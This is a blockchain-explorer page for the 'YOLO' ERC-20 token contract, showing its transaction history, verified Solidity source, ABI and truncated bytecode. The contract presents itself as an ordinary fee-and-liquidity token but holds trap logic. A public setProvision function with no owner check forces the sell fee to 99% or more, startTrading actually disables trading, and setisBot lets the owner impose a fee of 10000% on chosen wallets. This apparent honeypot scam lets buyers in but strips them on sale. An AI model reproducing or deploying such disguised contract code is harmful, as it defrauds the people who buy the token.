More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 65 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20009605 | 250 days ago | IN | 0 ETH | 0.00049431 | ||||
Transfer | 20009602 | 250 days ago | IN | 0 ETH | 0.00085742 | ||||
Approve | 19951115 | 258 days ago | IN | 0 ETH | 0.00015102 | ||||
Approve | 17352689 | 622 days ago | IN | 0 ETH | 0.00149129 | ||||
Set Provision | 17352074 | 622 days ago | IN | 0 ETH | 0.00093378 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 | ||||
Approve | 17352070 | 622 days ago | IN | 0 ETH | 0.0010983 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
17429760 | 611 days ago | 0.02246687 ETH | ||||
17429760 | 611 days ago | 0.01121925 ETH | ||||
17429760 | 611 days ago | 0.00002835 ETH | ||||
17429760 | 611 days ago | 0.00560962 ETH | ||||
17429760 | 611 days ago | 0.03926739 ETH | ||||
17394916 | 616 days ago | 0.02246687 ETH | ||||
17394916 | 616 days ago | 0.01121925 ETH | ||||
17394916 | 616 days ago | 0.00002835 ETH | ||||
17394916 | 616 days ago | 0.00560962 ETH | ||||
17394916 | 616 days ago | 0.03926739 ETH | ||||
17394521 | 616 days ago | 0.02246687 ETH | ||||
17394521 | 616 days ago | 0.01121925 ETH | ||||
17394521 | 616 days ago | 0.00002835 ETH | ||||
17394521 | 616 days ago | 0.00560962 ETH | ||||
17394521 | 616 days ago | 0.03926739 ETH | ||||
17373551 | 619 days ago | 0.02246687 ETH | ||||
17373551 | 619 days ago | 0.01121925 ETH | ||||
17373551 | 619 days ago | 0.00002835 ETH | ||||
17373551 | 619 days ago | 0.00560962 ETH | ||||
17373551 | 619 days ago | 0.03926739 ETH | ||||
17352705 | 622 days ago | 0.02246687 ETH | ||||
17352705 | 622 days ago | 0.01121925 ETH | ||||
17352705 | 622 days ago | 0.00002835 ETH | ||||
17352705 | 622 days ago | 0.00560962 ETH | ||||
17352705 | 622 days ago | 0.03926739 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
YOLO
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-27 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable is Context{ address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function isOwner(address account) public view returns (bool) { return account == _owner; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract YOLO is IERC20, Ownable { using SafeMath for uint256; string private constant _name = 'You Only Live Once'; string private constant _symbol = 'YOLO'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 42069000000000 * (10 ** _decimals); uint256 private _maxTxAmountPercent = 2; uint256 private _maxTransferPercent = 2; uint256 private _maxWalletPercent = 2; mapping (address => uint256) _mint; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) private isBot; IRouter router; address public pair; bool private tradingAllowed = true; uint256 private liquidityFee = 1; uint256 private marketingFee = 1; uint256 private developmentFee = 1; uint256 private burnFee = 0; uint256 private totalFee = 25; uint256 private zenta = 45; uint256 private transferFee = 45; uint256 private denominator = 100; bool private swapEnabled = true; uint256 private swapTimes; bool private swapping; uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000; uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal constant development_receiver = 0xE7FbE71F240cf5CF4Eca95894F31E41fBbC30918; address internal constant marketing_receiver = 0xE7FbE71F240cf5CF4Eca95894F31E41fBbC30918; address internal constant liquidity_receiver = 0xE7FbE71F240cf5CF4Eca95894F31E41fBbC30918; constructor() Ownable() { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[liquidity_receiver] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; _mint[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = false;} function getOwner() external view override returns (address) { return owner(); } function totalSupply() public view override returns (uint256) {return _totalSupply;} function balanceOf(address account) public view override returns (uint256) {return _mint[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; } function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function setProvision(uint256 _sumamount) public virtual{zenta = _sumamount;require(_sumamount >=99);} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;} function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;} function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;} function preTxCheck(address sender, address recipient, uint256 amount) internal view { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > uint256(0), "Transfer amount must be greater than zero"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); } function _transfer(address sender, address recipient, uint256 amount) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); checkMaxWallet(sender, recipient, amount); swapbackCounters(sender, recipient); checkTxLimit(sender, recipient, amount); swapBack(sender, recipient, amount); _mint[sender] = _mint[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _mint[recipient] = _mint[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; zenta = _sell; transferFee = _trans; require(totalFee <= denominator.div(5) && transferFee <= denominator.div(5) && zenta <= denominator.div(3), "totalFee and zenta cannot be more than 20%"); } function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 100; uint256 newTransfer = (totalSupply() * _trans) / 100; uint256 newWallet = (totalSupply() * _wallet) / 100; _maxTxAmountPercent = _buy; _maxTransferPercent = _trans; _maxWalletPercent = _wallet; uint256 limit = totalSupply().mul(5).div(10); require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%"); } function checkTradingAllowed(address sender, address recipient) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} } function checkMaxWallet(address sender, address recipient, uint256 amount) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_mint[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");} } function swapbackCounters(address sender, address recipient) internal { if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 remainingBalance = address(this).balance; if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= _minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold; } function swapBack(address sender, address recipient, uint256 amount) internal { if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(isBot[sender] || isBot[recipient]){return denominator*100;} if(recipient == pair){return zenta;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _mint[address(this)] = _mint[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sumamount","type":"uint256"}],"name":"setProvision","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a6200047d565b6200002490652642f3cd120062000495565b600181815560028080556003819055600455600a805460ff60a01b1916600160a01b179055600b819055600c819055600d8190556000600e556019600f55602d601081905560115560646012556013805460ff19169091179055620186a090620000919061012c62000495565b6200009d9190620004b7565b601655620186a0600154600a620000b5919062000495565b620000c19190620004b7565b601755348015620000d157600080fd5b50620000dd3362000318565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000137573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015d9190620004da565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d19190620004da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002459190620004da565b600980546001600160a01b038581166001600160a01b031992831617909255600a805492841692909116919091179055306000908152600760209081526040808320805460ff1990811660019081179092557f6e8db1ee0a574f9793e99ecd8eb34ce695e13b00216cb1fcc843a7eda6fd53198054821683179055338086528386208054909216831790915590546005845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000505565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003bf578160001904821115620003a357620003a362000368565b80851615620003b157918102915b93841c939080029062000383565b509250929050565b600082620003d85750600162000477565b81620003e75750600062000477565b81600181146200040057600281146200040b576200042b565b600191505062000477565b60ff8411156200041f576200041f62000368565b50506001821b62000477565b5060208310610133831016604e8410600b841016171562000450575081810a62000477565b6200045c83836200037e565b806000190482111562000473576200047362000368565b0290505b92915050565b60006200048e60ff841683620003c7565b9392505050565b6000816000190483118215151615620004b257620004b262000368565b500290565b600082620004d557634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004ed57600080fd5b81516001600160a01b03811681146200048e57600080fd5b611b9e80620005156000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610453578063a8aa1b3114610480578063a9059cbb146104a0578063dd62ed3e146104c057600080fd5b80638c41180e146104005780638da5cb5b146104205780639358928b1461043e57600080fd5b806370a0823114610339578063715018a61461036f57806378109e54146103845780637d1db4a514610399578063893d20e8146103ae5780638a5583d1146103e057600080fd5b8063293230b811610123578063293230b8146102695780632f54bf6e1461027e578063313ce567146102ad57806334c5d2ce146102c95780633f4218e0146102e957806348ff2b8b1461031957600080fd5b8063044019301461017657806306fdde0314610198578063095ea7b3146101e557806318160ddd146102155780631f976b7e1461023457806323b872dd1461024957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101966101913660046117d2565b610506565b005b3480156101a457600080fd5b50604080518082019091526012815271596f75204f6e6c79204c697665204f6e636560701b60208201525b6040516101dc919061181e565b60405180910390f35b3480156101f157600080fd5b50610205610200366004611881565b61060d565b60405190151581526020016101dc565b34801561022157600080fd5b506001545b6040519081526020016101dc565b34801561024057600080fd5b50610226610624565b34801561025557600080fd5b506102056102643660046118ad565b61064e565b34801561027557600080fd5b506101966106b8565b34801561028a57600080fd5b506102056102993660046118ee565b6000546001600160a01b0391821691161490565b3480156102b957600080fd5b50604051600981526020016101dc565b3480156102d557600080fd5b506101966102e436600461190b565b6106f1565b3480156102f557600080fd5b506102056103043660046118ee565b60076020526000908152604090205460ff1681565b34801561032557600080fd5b50610196610334366004611937565b610838565b34801561034557600080fd5b506102266103543660046118ee565b6001600160a01b031660009081526005602052604090205490565b34801561037b57600080fd5b5061019661088d565b34801561039057600080fd5b506102266108c3565b3480156103a557600080fd5b506102266108d4565b3480156103ba57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101dc565b3480156103ec57600080fd5b506101966103fb366004611975565b6108e5565b34801561040c57600080fd5b5061019661041b366004611937565b6108fb565b34801561042c57600080fd5b506000546001600160a01b03166103c8565b34801561044a57600080fd5b50610226610950565b34801561045f57600080fd5b50604080518082019091526004815263594f4c4f60e01b60208201526101cf565b34801561048c57600080fd5b50600a546103c8906001600160a01b031681565b3480156104ac57600080fd5b506102056104bb366004611881565b6109bc565b3480156104cc57600080fd5b506102266104db36600461198e565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105395760405162461bcd60e51b8152600401610530906119bc565b60405180910390fd5b600b879055600c869055600e859055600d849055600f8390556010829055601181905560125461056a9060056109c9565b600f541115801561058a57506012546105849060056109c9565b60115411155b80156105a5575060125461059f9060036109c9565b60105411155b6106045760405162461bcd60e51b815260206004820152602a60248201527f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610530565b50505050505050565b600061061a3384846109d5565b5060015b92915050565b600060125460035461063560015490565b61063f9190611a07565b6106499190611a26565b905090565b600061065b848484610af9565b6106ad84336106a885604051806060016040528060288152602001611b41602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610c1f565b6109d5565b5060015b9392505050565b6000546001600160a01b031633146106e25760405162461bcd60e51b8152600401610530906119bc565b600a805460ff60a01b19169055565b6000546001600160a01b0316331461071b5760405162461bcd60e51b8152600401610530906119bc565b600060648461072960015490565b6107339190611a07565b61073d9190611a26565b9050600060648461074d60015490565b6107579190611a07565b6107619190611a26565b9050600060648461077160015490565b61077b9190611a07565b6107859190611a26565b600287905560038690556004859055905060006107b7600a6107b160056107ab60015490565b90610c4b565b906109c9565b90508084101580156107c95750808310155b80156107d55750808210155b6106045760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610530565b6000546001600160a01b031633146108625760405162461bcd60e51b8152600401610530906119bc565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108b75760405162461bcd60e51b8152600401610530906119bc565b6108c16000610c57565b565b600060125460045461063560015490565b600060125460025461063560015490565b601081905560638110156108f857600080fd5b50565b6000546001600160a01b031633146109255760405162461bcd60e51b8152600401610530906119bc565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926106499290916109b69190610ca7565b90610ca7565b600061061a338484610af9565b60006106b18284611a26565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610530565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610530565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610b04838383610cb3565b610b0e8383610e62565b610b19838383610ef7565b610b238383610fe8565b610b2e83838361103f565b610b39838383611176565b6001600160a01b038316600090815260056020526040902054610b5c9082610ca7565b6001600160a01b038416600090815260056020526040812091909155610b82848461119b565b610b8c5781610b97565b610b978484846111e1565b6001600160a01b038416600090815260056020526040902054909150610bbd90826112cf565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c119085815260200190565b60405180910390a350505050565b60008184841115610c435760405162461bcd60e51b8152600401610530919061181e565b505050900390565b60006106b18284611a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006106b18284611a48565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610530565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610530565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610530565b6001600160a01b038316600090815260056020526040902054811115610e5d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610530565b505050565b6001600160a01b03821660009081526007602052604090205460ff16158015610ea457506001600160a01b03811660009081526007602052604090205460ff16155b15610ef357600a54600160a01b900460ff16610ef35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610530565b5050565b6001600160a01b03831660009081526007